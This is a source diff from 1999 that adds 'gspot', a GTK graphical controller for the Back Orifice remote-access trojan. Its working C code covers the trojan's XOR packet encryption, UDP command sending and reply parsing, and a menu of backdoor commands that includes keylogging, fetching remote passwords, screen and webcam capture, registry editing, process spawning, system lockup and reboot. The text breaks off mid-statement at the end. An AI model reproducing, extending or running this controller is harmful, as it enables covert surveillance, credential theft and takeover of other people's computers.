diff -ruN bo/Makefile.in bo_gspot/Makefile.in --- bo/Makefile.in Sun Aug 9 14:12:02 1998 +++ bo_gspot/Makefile.in Tue Mar 23 17:36:01 1999 @@ -2,11 +2,14 @@ LIBS=@LIBS@ INSTALL=@INSTALL@ -all: bounix +prefix=/usr/local/bin + +all: bounix gspot clean: - rm *.o bounix + rm *.o bounix gspot install: - $(INSTALL) bounix /usr/local/bin/bounix + $(INSTALL) bounix $(prefix)/bounix + $(INSTALL) gspot $(prefix)/gspot distclean: rm *.o bounix config.status config.cache config.log config.h Makefile .o: @@ -14,3 +17,6 @@ bounix: bounix.o commands.o help.o $(CC) -o bounix bounix.o commands.o help.o $(LIBS) + +gspot: commands.o gspot.c + $(CC) -g -o gspot gspot.c commands.o $(LIBS) `gtk-config --libs` `gtk-config --cflags` diff -ruN bo/gspot.c bo_gspot/gspot.c --- bo/gspot.c Wed Dec 31 16:00:00 1969 +++ bo_gspot/gspot.c Tue Mar 23 16:36:04 1999 @@ -0,0 +1,891 @@ +#include "config.h" +#include "bounix.h" +#include "helpstrings.h" +#include + +// Do you have anything to declare? +#define PROBE_STR_MAX 30 + +typedef struct { + gchar *Name[1]; //Odd? Yes, but gotta do it for Clist + gchar command[PROBE_STR_MAX + 1]; + gchar firstArg[PROBE_STR_MAX + 1]; + gchar secondArg[PROBE_STR_MAX + 1]; +} probeListItem; + +// Function prototypes +void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2); +void initializeProbes (void); +void destroy (GtkWidget *widget, gpointer data); +void update_value(GtkWidget *widget, gpointer data); +void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data); +void gtk_puts (gchar *message); +void givehelpcommand(char *arg1); +void helpDialog (GtkWidget *widget, gpointer data); +gint main( int argc, char *argv[] ); + +// Globals +gchar currentProbe[PROBE_STR_MAX + 1]; +gchar responce[BUFFSIZE + 1]; +gchar oldhost[ARGSIZE + 1]; +gchar oldport[6]; +gint pidx = 0; +probeListItem *probeArray; +GtkWidget *returnScreen; +GtkWidget *rsScroll; +GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText; +GtkWidget *arg1Label, *arg2Label; +// From bounix.c +int udpsock; +int port = PORT; +int g_lastpongport; +unsigned long host; +unsigned long g_lastpongip; +unsigned long g_packet; +static long holdrand = 1L; +struct sockaddr_in sockaddr; +struct in_addr hostin; +char g_password[ARGSIZE + 1]; +char g_lastdata[BUFFSIZE + 1]; +char cwd[MAX_PATH + 1]; +char buff[BUFFSIZE + 1]; + + + +// Look! Actual code! + +void msrand (unsigned int seed ) +{ + holdrand = (long)seed; +} + +int mrand ( void) +{ + return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff); +} + +unsigned int getkey() +{ + int x, y; + unsigned int z; + + y = strlen(g_password); + if (!y) + return 31337; + else { + z = 0; + for (x = 0; x < y; x++) + z+= g_password[x]; + + for (x = 0; x < y; x++) + { + if (x%2) + z-= g_password[x] * (y-x+1); + else + z+= g_password[x] * (y-x+1); + z = z%RAND_MAX; + } + z = (z * y)%RAND_MAX; + return z; + } +} + +void BOcrypt(unsigned char *buff, int len) +{ + int y; + + if (!len) + return; + + msrand(getkey()); + for (y = 0; y < len; y++) + buff[y] = buff[y] ^ (mrand()%256); +} + +/* + * I/O socket functions + */ + +int getpong(int sock) /* loops through with select, returns 0 on correct ping response */ +{ /* and 1 on a timeout or select error. */ + struct sockaddr_in host; + char buff[BUFFSIZE]; + int hostsize, x, sel; + unsigned long *pdw; + unsigned char *ptr; + unsigned long packetsize; + unsigned char type; + fd_set fds; + struct timeval tv; + + FD_ZERO(&fds); + FD_SET(sock, &fds); + tv.tv_sec = 0; + tv.tv_usec = 0; + hostsize = sizeof(host); + + while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0) + { + tv.tv_sec=0; + tv.tv_usec=0; + + if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) { + return(1); + } + + BOcrypt(buff, x); + + if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) + { + sprintf(responce, "------- Garbage packet recieved from %s port %d -------\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gtk_puts(responce); + continue; + } + pdw = (unsigned long *)buff; + pdw+=2; + packetsize = __EL_LONG(*pdw); + pdw+=2; + ptr = (unsigned char *)pdw; + type = *ptr++; + + if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) && + (type == TYPE_PING)) + { + sprintf(responce, "---- Pong received from %s port %d ---\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gtk_puts(responce); + gtk_puts(ptr); + sprintf(responce, "---------- End of data ----------------------\n"); + gtk_puts(responce); + g_lastpongip = host.sin_addr.s_addr; + g_lastpongport = (int)ntohs(host.sin_port); + return(0); + } else { + sprintf(responce, "---- Non pong response from %s port %d ---\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gtk_puts(responce); + gtk_puts(ptr); + sprintf(responce, "---------- End of data ---------------------\n"); + gtk_puts(responce); + continue; + } + } + if (sel < 0) + perror("select"); + + return(1); +} + +int getinput(int sock) +{ + struct sockaddr_in host; + char buff[BUFFSIZE]; + int hostsize, x, sel; + unsigned long *pdw; + unsigned char *ptr; + unsigned long packetsize; + unsigned long oldestpack, lastpacket, packetid, p; + unsigned char type; + struct timeval tv; + fd_set fds; + + FD_ZERO(&fds); + FD_SET(sock, &fds); + tv.tv_sec = 10; + tv.tv_usec = 0; + hostsize = sizeof(host); + + while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 ) + { + tv.tv_sec = 10; /* check, does select modify tv? */ + tv.tv_usec = 0; + + if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, + &hostsize)) <= 0) + continue; /* this still shouldnt happen */ + + BOcrypt(buff, x); + if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) + continue; /* this packet isnt for us, pass off */ + + pdw = (unsigned long *)buff; /* parse out the packet */ + pdw+=2; + packetsize = *pdw++; + packetsize = __EL_LONG(packetsize); + packetid = *pdw++; + packetid = __EL_LONG(packetid); + ptr = (unsigned char *)pdw; + type = *ptr++; + + /* this is a singular packet */ + if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) ) + { + sprintf(responce, "---- Packet received from %s port %d -----\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gtk_puts(responce); + gtk_puts(ptr); + sprintf(responce, "---------- End of data ---------------------\n"); + gtk_puts(responce); + return 0; /* success */ + } + + /* first packet in a set of packets */ + if (!(type & CONTINUED_PACKET)) + { + oldestpack = packetid; + sprintf(responce, "---- Packet received from %s port %d -----\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gtk_puts(responce); + } + + if(type & CONTINUED_PACKET) /* if we're here, i believe this will always be true */ + { + /* if packetid = lastpacket+1 (normal), this doesnt run */ + + /* This code is B00l Shit. It's borken big time. + for(p=lastpacket; packetid > lastpacket+1; p++) + printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack)); + */ + lastpacket = packetid; + } + + gtk_puts(ptr); + + /* last packet in a set of packets */ + if (!(type & PARTIAL_PACKET)) + { + sprintf(responce, "---------- End of data ---------------------\n"); + gtk_puts(responce); + return 0; /* success */ + } + } + + /* determine why we broke out of the loop */ + if (sel == 0) { + sprintf(responce, "Timeout on wait, host may not be reachable, or no server installed\n"); + gtk_puts(responce); + } + else if (sel < 0) + perror("select"); + + return(1); /* error */ +} + + +int sendping(unsigned long dest, int port, int sock) +{ + unsigned char *ptr; + unsigned long *pdw; + unsigned long size; + struct sockaddr_in host; + char buff[BUFFSIZE]; + int i; + fd_set fdset; + struct timeval tv; + + size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2; + strcpy(buff, MAGICSTRING); + pdw = (unsigned long *)(buff + MAGICSTRINGLEN); + *pdw++ = __EL_LONG(size); + *pdw++ = __EL_LONG((unsigned long)-1); + ptr = (unsigned char *)pdw; + *ptr++ = TYPE_PING; + *ptr = 0; + + BOcrypt(buff, (int)size); + + host.sin_family = AF_INET; + host.sin_port = htons((u_short)port); + host.sin_addr.s_addr = dest; + + FD_ZERO(&fdset); + FD_SET(sock, &fdset); + tv.tv_sec = 10; + tv.tv_usec = 0; + + i = select(sock+1, NULL, &fdset, NULL, &tv); + if (i == 0) + { + sprintf(responce, "Timeout waiting to send to socket\n"); + gtk_puts(responce); + return(1); + } else if (i < 0) { + perror("select: "); + return(1); + } + + if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size ) + { + perror("sendto: "); + return(1); + } + + return 0; +} + +int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock) +{ + unsigned char *ptr; + unsigned long *pdw; + unsigned long size; + struct sockaddr_in host; + char buff[BUFFSIZE]; + + if (dest == 0) + { + gtk_puts("Set a target host with the 'host' command. (Type 'help' for assistance)"); + return 1; + } + /* 4 4 1 ? ? 1 + * ----------------------------------------------- + * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc| + * | | |num | | | | | + * ----------------------------------------------- + */ + size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2); + strcpy(buff, MAGICSTRING); + pdw = (unsigned long *)(buff + MAGICSTRINGLEN); + *pdw++ = __EL_LONG(size); + *pdw++ = __EL_LONG(g_packet); + g_packet++; + ptr = (unsigned char *)pdw; + *ptr++ = type; + strcpy(ptr, str1); + ptr += strlen(str1) + 1; + strcpy(ptr, str2); + + BOcrypt(buff, (int)size); + + host.sin_family = AF_INET; + host.sin_port = htons((u_short)port); + host.sin_addr.s_addr = dest; + + if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size) + { + perror("sendto: "); + return(1); + } + return 0; +} + + +/************************** MISC FUNCTIONS **************************/ + +void fixfilename(char *buff, const char *cwd, const char *path) +{ + if (path[0] == '\\') + { + strncpy(buff, cwd, 2); + strncpy(buff+3, path, strlen(path)+1); + } else if (strncmp(path+1, ":\\", 2) == 0){ + strcpy(buff, path); + } else { + sprintf(buff, "%s%s", cwd, path); + } +} + +void execute(GtkWidget *widget, gpointer data) +{ + if ( host == 0 || // We don't have a host? Must be the first time... + (strcmp(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText))) || + strcmp(oldport, gtk_entry_get_text(GTK_ENTRY(portText))) ) ) // The hostname or port was changed + { + executecommand("HOST", gtk_entry_get_text(GTK_ENTRY(hostText)), + gtk_entry_get_text(GTK_ENTRY(portText))); + if ( host == 0 ) + { + gtk_puts("Resolver said: \"Eat me\"\n I think you should check your hostname/port."); + gtk_entry_set_text(GTK_ENTRY(hostText), oldhost); + gtk_entry_set_text(GTK_ENTRY(portText), oldport); + return; + } + //We've a host now. + strcpy(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText)) ); + strcpy(oldport, gtk_entry_get_text(GTK_ENTRY(portText)) ); + } + if (currentProbe[0] == 0) + { + gtk_puts("Please click on one of the commands.\n I know it looks like ping is selected, but it isn't."); + } + if (executecommand(currentProbe, + gtk_entry_get_text(GTK_ENTRY(arg1Text)), + gtk_entry_get_text(GTK_ENTRY(arg2Text)) )) + { + sprintf(responce, "Command Failed\n"); + gtk_puts(responce); + } +} + + + + +//----------------------------------------------- +// GKT code below +//----------------------------------------------- + + + +void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2) +{ + if (!probeArray) + { + probeArray = malloc(sizeof(probeListItem)); + } + else + { + probeArray = realloc(probeArray, (sizeof(probeListItem) * (pidx+1)) ); + } + probeArray[pidx].Name[0] = malloc(sizeof(gchar) * strlen(Name) + 1); + strcpy(probeArray[pidx].Name[0], Name); + strcpy(probeArray[pidx].command, bocommand); + strcpy(probeArray[pidx].firstArg, arg1); + strcpy(probeArray[pidx].secondArg, arg2); + pidx++; + +} + +void initializeProbes (void) +{ + // I've taken a few out, they aren't neccessary with a GUI + // insertProbe("HOST", "", ""); + // insertProbe("QUIT", "", ""); + // insertProbe("PASSWD", "", ""); + // BO commands + insertProbe("Ping", "PING", "Unused:", "Unused:"); + insertProbe("Ping List", "PINGLIST", "File Name:", "Unused:"); + insertProbe("Sweep subnet", "SWEEP", "Subnet:", "Unused:"); + insertProbe("Sweep List", "SWEEPLIST", "File Name:", "Unused:"); + // File operations + insertProbe("List dir", "DIR", "File pattern:", "Unused:"); + insertProbe("Find file", "FIND", "File pattern:", "Start in:"); + insertProbe("View file", "VIEW", "File name:", "Unused:"); + insertProbe("Delete file", "DEL", "File:", "Unused:"); + insertProbe("Copy file", "COPY", "Source filename:", "Destination:"); + insertProbe("Rename file", "REN", "File name:", "Destination:"); + insertProbe("Compress file", "FREEZE", "Freeze file:", "Destination:"); + insertProbe("Uncompress file", "MELT", "Frozen file:", "Destination:"); + // Dir operations + insertProbe("Change dir", "CD", "New directory:", "Unused:"); + insertProbe("Make directory", "MD", "New dir:", "Unused:"); + insertProbe("Remove directory", "RD", "Directory:", "Unused:"); + // insertProbe("Download file", "GET", "Remote filename:", "Local filename:"); Apparently these two + // insertProbe("Upload file", "PUT", "Local filename:", "Remote filename:"); weren't implemented + // System operations + // insertProbe("Open Shell", "SHELL", "Unused:", "Unused:"); Also not implemented + // insertProbe("Get status", "STATUS", "Unused:", "Unused:"); Status is useless to me + insertProbe("Get system info", "INFO", "Unused:", "Unused:"); + insertProbe("Get remote passwords", "PASSES", "Unused:", "Unused:"); + insertProbe("Create system dialog", "DIALOG", "Dialog text:", "Title text:"); + insertProbe("Keylog", "KEYLOG", "Log File: (or stop)", "Unused:"); + insertProbe("List processes", "PROCLIST", "Unused:", "Unused:"); + insertProbe("Kill process", "PROCKILL", "Process ID:", "Unused:"); + insertProbe("Start process", "PROCSPAWN", "Commandline:", "Unused:"); + insertProbe("Lockup system", "LOCKUP", "Unused:", "Unused:"); + insertProbe("Reboot system", "REBOOT", "Unused:", "Unused:"); + // Network stuff + insertProbe("Resolve hostname", "RESOLVE", "Hostname:", "Unused:"); + insertProbe("List IP redirects", "REDIRLIST", "Unused:", "Unused:"); + insertProbe("Delete IP redirect", "REDIRDEL", "Redir Number:", "Unused:"); + insertProbe("Add IP redirect", "REDIRADD", "Input Port:", "Output IP:Port,UDP:"); + insertProbe("List console apps", "APPLIST", "Unused:", "Unused:"); + insertProbe("Remove console app", "APPDEL", "App ID:", "Unused:"); + insertProbe("Add console app", "APPADD", "Program:", "Port:"); + insertProbe("List available resources", "NETVIEW", "Unused:", "Unused:"); + insertProbe("List connected resources", "NETLIST", "Unused:", "Unused:"); + insertProbe("Disconnect resource", "NETDISCONNECT", "Resource:", "Unused:"); + insertProbe("Connect to resource", "NETCONNECT", "Resource:", "Password:"); + insertProbe("List shares", "SHARELIST", "Unused:", "Unused:"); + insertProbe("Delete shares", "SHAREDEL", "Share name:", "Unused:"); + insertProbe("Add shares", "SHAREADD", "Share name:", "Local dir,Password,remark:"); + insertProbe("Stop HTTP server", "HTTPOFF", "Unused:", "Unused:"); + insertProbe("Start HTTP server", "HTTPON", "Port:", "Root:"); + insertProbe("Send file via TCP", "TCPSEND", "File name:", "Target IP:Port"); + insertProbe("Recieve file via TCP", "TCPRECV", "File name:", "Target IP:Port"); + // Multimedia stuff + insertProbe("List MM capture devices", "LISTCAPS", "Unused:", "Unused:"); + insertProbe("Capture bitmap", "CAPSCREEN", "File name:", "Unused:"); + insertProbe("Capture frame from MM", "CAPFRAME", "File name:", "Device,Width,Height,Bits:"); + insertProbe("Capture AVI", "CAPAVI", "File name:", "Seconds,Device,Width,Height,Bits:"); + insertProbe("Play wav file", "SOUND", "File name;", "Unused:"); + // Registry + insertProbe("List registry subkeys", "REGLISTKEYS", "Keyname:", "Unused:"); + insertProbe("List registry values", "REGLISTVALS", "Keyname:", "Unused:"); + insertProbe("Delete registry key", "REGDELKEY", "Keyname:", "Unused:"); + insertProbe("Make registry key", "REGMAKEKEY", "Keyname:", "Unused:"); + insertProbe("Delete registry value", "REGDELVAL", "Value name:", "Unused:"); + insertProbe("Set registry value", "REGSETVAL", "Value name:", "Type,Value:"); + // Plugins + insertProbe("List plugins", "PLUGINLIST", "Unused:", "Unused:"); + insertProbe("Stop plugin", "PLUGINKILL", "Plugin ID:", "Unused:"); + insertProbe("Execute plugin", "PLUGINEXEC", "DLL name:Plugin name:", "Plugin args"); + + probeArray = realloc(probeArray, sizeof(probeListItem) * (pidx+1) ); +} + +void destroy (GtkWidget *widget, gpointer data) +{ + if(probeArray) { + pidx = 0; + while ( probeArray[pidx].Name[0] != NULL ) { + free(probeArray[pidx].Name[0]); + pidx++; + } + free(probeArray); + probeArray = NULL; + } + close(udpsock); + gtk_main_quit (); +} + + +void update_value(GtkWidget *widget, gpointer data) +{ + // Right now, passText is the only widget that calls us. + //if ( strcasecmp("passText", gtk_widget_get_name( GTK_WIDGET(widget) )) == 0 ) + strcpy(g_password, gtk_entry_get_text(GTK_ENTRY(widget))); +} + + +void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data) +{ + strcpy(currentProbe, probeArray[row].command); + gtk_label_set(GTK_LABEL(arg1Label), probeArray[row].firstArg); + gtk_label_set(GTK_LABEL(arg2Label), probeArray[row].secondArg); +} + +void gtk_puts (gchar *message) +{ + gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,message,-1); + if(message[strlen(message)-1] != '\n') + gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,"\n",-1); +} + +void givehelpcommand(char *arg1) +{ + helpDialog(NULL, arg1); +} + +void helpDialog (GtkWidget *widget, gpointer data) +{ + GtkWidget *helpWindow; + GtkWidget *button; + GtkWidget *label; + char labelTemp[10]; + + helpWindow = gtk_dialog_new (); + gtk_container_border_width (GTK_CONTAINER (helpWindow), 10); + + button = gtk_button_new_with_label("OK"); + gtk_signal_connect_object (GTK_OBJECT (button), "clicked", + GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (helpWindow)); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->action_area), button, + TRUE, TRUE, 0); + gtk_widget_show (button); + + if (strlen((char *) data) == 0) label = gtk_label_new("Select an item first"); + else if (strcasecmp((char *) data, "HOST") == 0) label = gtk_label_new(hosthelp); + else if (strcasecmp((char *) data, "QUIT") == 0) label = gtk_label_new(quithelp); + else if (strcasecmp((char *) data, "PING") == 0) label = gtk_label_new(pinghelp); + else if (strcasecmp((char *) data, "PINGLIST") == 0) label = gtk_label_new(pinglisthelp); + else if (strcasecmp((char *) data, "SWEEP") == 0) label = gtk_label_new(sweephelp); + else if (strcasecmp((char *) data, "SWEEPLIST") == 0) label = gtk_label_new(sweeplisthelp); + else if (strcasecmp((char *) data, "SHELL") == 0) label = gtk_label_new(shellhelp); + else if (strcasecmp((char *) data, "STATUS") == 0) label = gtk_label_new(statushelp); + else if (strcasecmp((char *) data, "PASSWD") == 0) label = gtk_label_new(passwdhelp); + else if (strcasecmp((char *) data, "DIR") == 0) label = gtk_label_new(dirhelp); + else if (strcasecmp((char *) data, "CD") == 0) label = gtk_label_new(cdhelp); + else if (strcasecmp((char *) data, "DEL") == 0) label = gtk_label_new(delhelp); + else if (strcasecmp((char *) data, "GET") == 0) label = gtk_label_new(gethelp); + else if (strcasecmp((char *) data, "PUT") == 0) label = gtk_label_new(puthelp); + else if (strcasecmp((char *) data, "COPY") == 0) label = gtk_label_new(copyhelp); + else if (strcasecmp((char *) data, "FIND") == 0) label = gtk_label_new(findhelp); + else if (strcasecmp((char *) data, "FREEZE") == 0) label = gtk_label_new(freezehelp); + else if (strcasecmp((char *) data, "MELT") == 0) label = gtk_label_new(melthelp); + else if (strcasecmp((char *) data, "VIEW") == 0) label = gtk_label_new(viewhelp); + else if (strcasecmp((char *) data, "REN") == 0) label = gtk_label_new(renhelp); + else if (strcasecmp((char *) data, "MD") == 0) label = gtk_label_new(mdhelp); + else if (strcasecmp((char *) data, "RD") == 0) label = gtk_label_new(rdhelp); + else if (strcasecmp((char *) data, "INFO") == 0) label = gtk_label_new(infohelp); + else if (strcasecmp((char *) data, "PASSES") == 0) label = gtk_label_new(passeshelp); + else if (strcasecmp((char *) data, "DIALOG") == 0) label = gtk_label_new(dialoghelp); + else if (strcasecmp((char *) data, "KEYLOG") == 0) label = gtk_label_new(keyloghelp); + else if (strcasecmp((char *) data, "REBOOT") == 0) label = gtk_label_new(reboothelp); + else if (strcasecmp((char *) data, "NETVIEW") == 0) label = gtk_label_new(netviewhelp); + else if (strcasecmp((char *) data, "NETCONNECT") == 0) label = gtk_label_new(netconnecthelp); + else if (strcasecmp((char *) data, "NETDISCONNECT") == 0) label = gtk_label_new(netdisconnecthelp); + else if (strcasecmp((char *) data, "NETLIST") == 0) label = gtk_label_new(netlisthelp); + else if (strcasecmp((char *) data, "RESOLVE") == 0) label = gtk_label_new(resolvehelp); + else if (strcasecmp((char *) data, "SHARELIST") == 0) label = gtk_label_new(sharelisthelp); + else if (strcasecmp((char *) data, "SHAREADD") == 0) label = gtk_label_new(shareaddhelp); + else if (strcasecmp((char *) data, "SHAREDEL") == 0) label = gtk_label_new(sharedelhelp); + else if (strcasecmp((char *) data, "PROCLIST") == 0) label = gtk_label_new(proclisthelp); + else if (strcasecmp((char *) data, "PROCKILL") == 0) label = gtk_label_new(prockillhelp); + else if (strcasecmp((char *) data, "PROCSPAWN") == 0) label = gtk_label_new(procspawnhelp); + else if (strcasecmp((char *) data, "LISTCAPS") == 0) label = gtk_label_new(listcapshelp); + else if (strcasecmp((char *) data, "CAPSCREEN") == 0) label = gtk_label_new(capscreenhelp); + else if (strcasecmp((char *) data, "CAPFRAME") == 0) label = gtk_label_new(capframehelp); + else if (strcasecmp((char *) data, "CAPAVI") == 0) label = gtk_label_new(capavihelp); + else if (strcasecmp((char *) data, "SOUND") == 0) label = gtk_label_new(soundhelp); + else if (strcasecmp((char *) data, "REDIRLIST") == 0) label = gtk_label_new(redirlisthelp); + else if (strcasecmp((char *) data, "REDIRDEL") == 0) label = gtk_label_new(redirdelhelp); + else if (strcasecmp((char *) data, "REDIRADD") == 0) label = gtk_label_new(rediraddhelp); + else if (strcasecmp((char *) data, "APPADD") == 0) label = gtk_label_new(appaddhelp); + else if (strcasecmp((char *) data, "APPDEL") == 0) label = gtk_label_new(appdelhelp); + else if (strcasecmp((char *) data, "APPLIST") == 0) label = gtk_label_new(applisthelp); + else if (strcasecmp((char *) data, "REGMAKEKEY") == 0) label = gtk_label_new(regmakekeyhelp); + else if (strcasecmp((char *) data, "REGDELKEY") == 0) label = gtk_label_new(regdelkeyhelp); + else if (strcasecmp((char *) data, "REGLISTKEYS") == 0) label = gtk_label_new(reglistkeyshelp); + else if (strcasecmp((char *) data, "REGLISTVALS") == 0) label = gtk_label_new(reglistvalshelp); + else if (strcasecmp((char *) data, "REGDELVAL") == 0) label = gtk_label_new(regdelvalhelp); + else if (strcasecmp((char *) data, "REGSETVAL") == 0) label = gtk_label_new(regsetvalhelp); + else if (strcasecmp((char *) data, "HTTPON") == 0) label = gtk_label_new(httponhelp); + else if (strcasecmp((char *) data, "HTTPOFF") == 0) label = gtk_label_new(httpoffhelp); + else if (strcasecmp((char *) data, "TCPSEND") == 0) label = gtk_label_new(tcpsendhelp); + else if (strcasecmp((char *) data, "TCPRECV") == 0) label = gtk_label_new(tcprecvhelp); + else if (strcasecmp((char *) data, "LOCKUP") == 0) label = gtk_label_new(lockuphelp); + else if (strcasecmp((char *) data, "PLUGINEXEC") == 0) label = gtk_label_new(pluginexechelp); + else if (strcasecmp((char *) data, "PLUGINKILL") == 0) label = gtk_label_new(pluginkillhelp); + else if (strcasecmp((char *) data, "PLUGINLIST") == 0) label = gtk_label_new(pluginlisthelp); + else { + snprintf ( labelTemp, 10, "No help for '%s'\n", (char *) data); + label = gtk_label_new(labelTemp); + } + + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->vbox), label, TRUE, + TRUE, 0); + gtk_widget_show (label); + gtk_widget_show (helpWindow); + +} + +int main( int argc, char *argv[] ) +{ + int clientport = 0; + struct linger linger; + int bufsize; + GtkWidget *window; + GtkWidget *kitchenTable; + GtkWidget *hbox, *vbox; +#if GTK_MINOR_VERSION >= 2 + GtkWidget *probeScroll; +#endif + GtkWidget *probeList; + GtkWidget *helpBUTTon, *exeBUTTon; + GtkWidget *hostLabel, *portLabel, *passLabel; + // As a reminder, the following components are global: + /* + GtkWidget *returnScreen; + GtkWidget *rsScroll; + GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText; + GtkWidget *arg1Label, *arg2Label; + */ + + gtk_init (&argc, &argv); + initializeProbes(); + + // Initialize the UDP port + host = 0; + g_packet = 0; + g_password[0] = 0; + strcpy(cwd, "c:\\"); + if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0) + { + perror("socket: "); + return(1); + } + memset(&sockaddr, 0, sizeof(sockaddr)); + sockaddr.sin_family = AF_INET; + sockaddr.sin_port = htons((u_short)clientport); + if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0) + { + perror("bind: "); + return(1); + } + linger.l_onoff = 0; // dont linger + setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) ); + + + + // Create the window + window = gtk_window_new (GTK_WINDOW_TOPLEVEL); + gtk_window_set_title (GTK_WINDOW (window), "Gspot"); + gtk_container_border_width (GTK_CONTAINER (window), 5); + gtk_widget_set_usize (GTK_WIDGET (window), 500, 400); + gtk_signal_connect (GTK_OBJECT (window), "delete_event", + GTK_SIGNAL_FUNC (destroy), NULL); + gtk_signal_connect (GTK_OBJECT (window), "destroy", + GTK_SIGNAL_FUNC (destroy), NULL); + + // Create the table container + kitchenTable = gtk_table_new(4, 3, FALSE); + gtk_table_set_row_spacings( GTK_TABLE(kitchenTable), 2 ); + gtk_table_set_col_spacings( GTK_TABLE(kitchenTable), 2 ); + gtk_container_add (GTK_CONTAINER (window), kitchenTable); + gtk_widget_show(kitchenTable); + + // Use a CList item with one column for the commands + probeList = gtk_clist_new(1); + gtk_clist_set_selection_mode( GTK_CLIST(probeList), GTK_SELECTION_BROWSE ); +#if GTK_MINOR_VERSION >= 1 + probeScroll = gtk_scrolled_window_new( NULL, NULL ); + gtk_scrolled_window_set_policy( GTK_SCROLLED_WINDOW (probeScroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_clist_set_shadow_type( GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN); +#else + gtk_clist_set_border(GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN); + gtk_clist_set_policy(GTK_CLIST(probeList), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC ); +#endif + gtk_clist_column_titles_passive(GTK_CLIST(probeList)); + gtk_clist_set_column_title(GTK_CLIST(probeList), 0, "Commands" ); + gtk_clist_column_titles_show(GTK_CLIST(probeList)); + gtk_clist_set_column_width(GTK_CLIST(probeList), 175, 0 ); + gtk_widget_set_usize (GTK_WIDGET (probeList), 175, 0); + pidx = 0; + while(probeArray[pidx].Name[0] != NULL) { + gtk_clist_append( (GtkCList*) probeList, probeArray[pidx].Name); + pidx++; + } + gtk_signal_connect (GTK_OBJECT(probeList), "select_row", + GTK_SIGNAL_FUNC(select_probe), NULL); +#if GTK_MINOR_VERSION >= 1 + gtk_table_attach( GTK_TABLE(kitchenTable), probeScroll, 0, 1, 0, 3, + GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0); + gtk_scrolled_window_add_with_viewport( GTK_SCROLLED_WINDOW (probeScroll), GTK_WIDGET (probeList) ); + gtk_widget_set_usize (GTK_WIDGET (probeScroll), 175, 0); + gtk_widget_show(probeScroll); +#else + gtk_table_attach( GTK_TABLE(kitchenTable), probeList, 0, 1, 0, 3, + GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0); +#endif + gtk_widget_show(probeList); + + // Help and Exe buttons + hbox = gtk_hbox_new(TRUE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 0, 1, 3, 4, + GTK_FILL | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (hbox); + helpBUTTon = gtk_button_new_with_label("Help"); + gtk_signal_connect (GTK_OBJECT (helpBUTTon), "clicked", + GTK_SIGNAL_FUNC (helpDialog), currentProbe); + gtk_box_pack_start(GTK_BOX(hbox), helpBUTTon, TRUE, TRUE, 0); + gtk_widget_show (helpBUTTon); + + hbox = gtk_hbox_new(TRUE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 2, 3, 4, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (hbox); + exeBUTTon = gtk_button_new_with_label("Execute"); + gtk_signal_connect (GTK_OBJECT (exeBUTTon), "clicked", + GTK_SIGNAL_FUNC (execute), currentProbe); + gtk_box_pack_start(GTK_BOX(hbox), exeBUTTon, TRUE, TRUE, 0); + gtk_widget_show (exeBUTTon); + + // Text area, not editable, but our returned info goes here. + hbox = gtk_hbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 3, 0, 1, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_FILL | GTK_EXPAND, 1, 1); + gtk_widget_show (hbox); + returnScreen = gtk_text_new(NULL, NULL); + gtk_text_set_editable(GTK_TEXT(returnScreen), FALSE); + gtk_text_set_word_wrap(GTK_TEXT(returnScreen), FALSE); + gtk_box_pack_start(GTK_BOX(hbox), returnScreen, TRUE, 